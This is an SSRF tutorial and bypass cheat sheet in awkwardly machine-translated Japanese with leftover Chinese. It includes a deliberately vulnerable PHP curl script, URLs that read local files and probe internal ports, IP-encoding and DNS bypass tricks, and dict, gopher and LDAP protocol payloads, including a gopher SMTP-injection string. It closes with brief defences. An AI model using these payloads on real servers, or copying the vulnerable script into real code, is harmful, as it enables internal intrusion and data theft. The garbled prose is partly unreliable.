説明:SSRF サーバ側のリクエストフォージェリ、およびいくつかの大規模なサイトでは、Webアプリケーション上の他のサーバからデータを取得する機能を提供します。ユーザーが指定したURLのWebアプリケーションでは、ファイルをダウンロードしたファイルの内容を読み、画像を取得します。通常、Webサービスを制御し、ネットワーク脆弱なアプリケーション内のネットワーク攻撃を検出するために使用
踏み台としてそのマシン、ssrfsocksのエージェント
ハザードの脆弱性
内部および外部のネットワークポートスキャンとサービス
- ローカルホストの機密データを読みます
内部と外部ネットワークのホストアプリケーションの脆弱性を利用
内部と外部ネットワークのWebサイトの脆弱性を利用
脆弱性のプロデュース
サーバは他のサーバとフィルタリングに対応していないアプリケーションや制約との協定からデータを取得する機能を提供するので。
ローカルテスト
Webサーバーアプリケーションが存在することを前提とSSRF
<?php
if(isset($_GET['url']))
{
$link=$_GET['url'];
//$filename='./'.rand().'.txt';
$curlobj=curl_init($link);
curl_setopt($curlobj,CURLOPT_FILE,$link);
curl_setopt($curlobj,CURLOPT_HEADER,0);
$result=curl_exec($curlobj);
curl_exec($curlobj);
curl_close($curlobj);
//fclose($link);
//file_put_contents($filename, $result);
echo $result;
}
?>
攻撃はエクスプロイト
バナー情報は、サーバがネットワーク内に存在する外部ネットワーク、ローカルポートスキャンもいくつかのサービスを得ることができます
アクセスすることにより、変更されたパラメータ
192.168.203.128/test/ssrf.php?url=127.0.0.1:3306
あなたは、情報サーバを取得します
ネットワークまたはローカルアプリケーションを含む実行して攻撃、(オーバーフロー)
デフォルトのファイルにアクセスすることにより、フィンガープリントイントラネットのWebアプリケーション、
主にGETパラメータが攻撃を達成することができます使用してネットワークの内部と外部のウェブアプリケーション攻撃、
ファイルプロトコルを使用してローカルファイルを読む、など
アクセス
192.168.203.128/test/ssrf.php?url=file:///c:/config.ini
あなたは、ファイルを直接読み込むことができます
脆弱性の発見と発掘
URLアドレスを介して共有Webコンテンツ
トランスコーディングサービス
翻訳者
URLまたはロード画像でダウンロード、画像の読み込みとダウンロード
写真記事コレクション機能
URLや他のコールを達成するために文書化されていないAPI関数
URLのキーワードから見ると
share wap url link src source target u 3g display sourceURl imageURL domain ...
バイパスのアイデア
1、ローカルの攻撃
http://127.0.0.1:80
http://localhost:22
2、利用[::]
利用[::]绕过localhost
http://[::]:80/ >>> http://127.0.0.1
80 /を、私はテストが成功しませんでした:// 0000 :: 1:HTTPを使用しても参照してください。
3、利用@
http://[email protected]
4、短いアドレスを持ちます
http://dwz.cn/11SMa >>> http://127.0.0.1
5、特殊なドメイン名の使用
原理はDNS解決の使用であり、
http://127.0.0.1.xip.io/
http://www.owasp.org.127.0.0.1.xip.io/
図6に示すように、DNS解決の使用
レコードは、ドメイン名、ポイント127.0.0.1に設けられ、
図7に示すように、パラメータの型を使用して
也不一定是上传,我也说不清,自己体会 -.-
修改"type=file"为"type=url"
比如:
上传图片处修改上传,将图片文件修改为URL,即可能触发SSRF
8、利用囲み文字
利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
9、ピリオドを使用
127。0。0。1 >>> 127.0.0.1
進変換を使用して10、
可以是十六进制,八进制等。
115.239.210.26 >>> 16373751032
首先把这四段数字给分别转成16进制,结果:73 ef d2 1a
然后把 73efd21a 这十六进制一起转换成8进制
记得访问的时候加0表示使用八进制(可以是一个0也可以是多个0 跟XSS中多加几个0来绕过过滤一样),十六进制加0x
http://127.0.0.1 >>> http://0177.0.0.1/
http://127.0.0.1 >>> http://2130706433/
http://192.168.0.1 >>> http://3232235521/
http://192.168.1.1 >>> http://3232235777/
11、特別なアドレスを使用します
http://0/
合意による12
Dict://
dict://<user-auth>@<host>:<port>/d:<word>
ssrf.php?url=dict://attacker:11111/
SFTP://
ssrf.php?url=sftp://example.com:11111/
TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%[email protected]%3E%250d%250aRCPT%20TO%3A%[email protected]%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%[email protected]%3E%250d%250aTo%3A%20%[email protected]%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
13、の組み合わせ
それは自由な組み合わせのすべての種類をバイパスすることができます
脆弱性保護
- サーバーは、OpenSSLインタラクティブ使用を開くことができません。
- サーバーは、認証の相互作用を必要とし
- 本契約は、HTTP、HTTPSを制限します
- ジャンプ禁止30X回
- 制限のURLのホワイトリストやIPネットワーク内で設定してください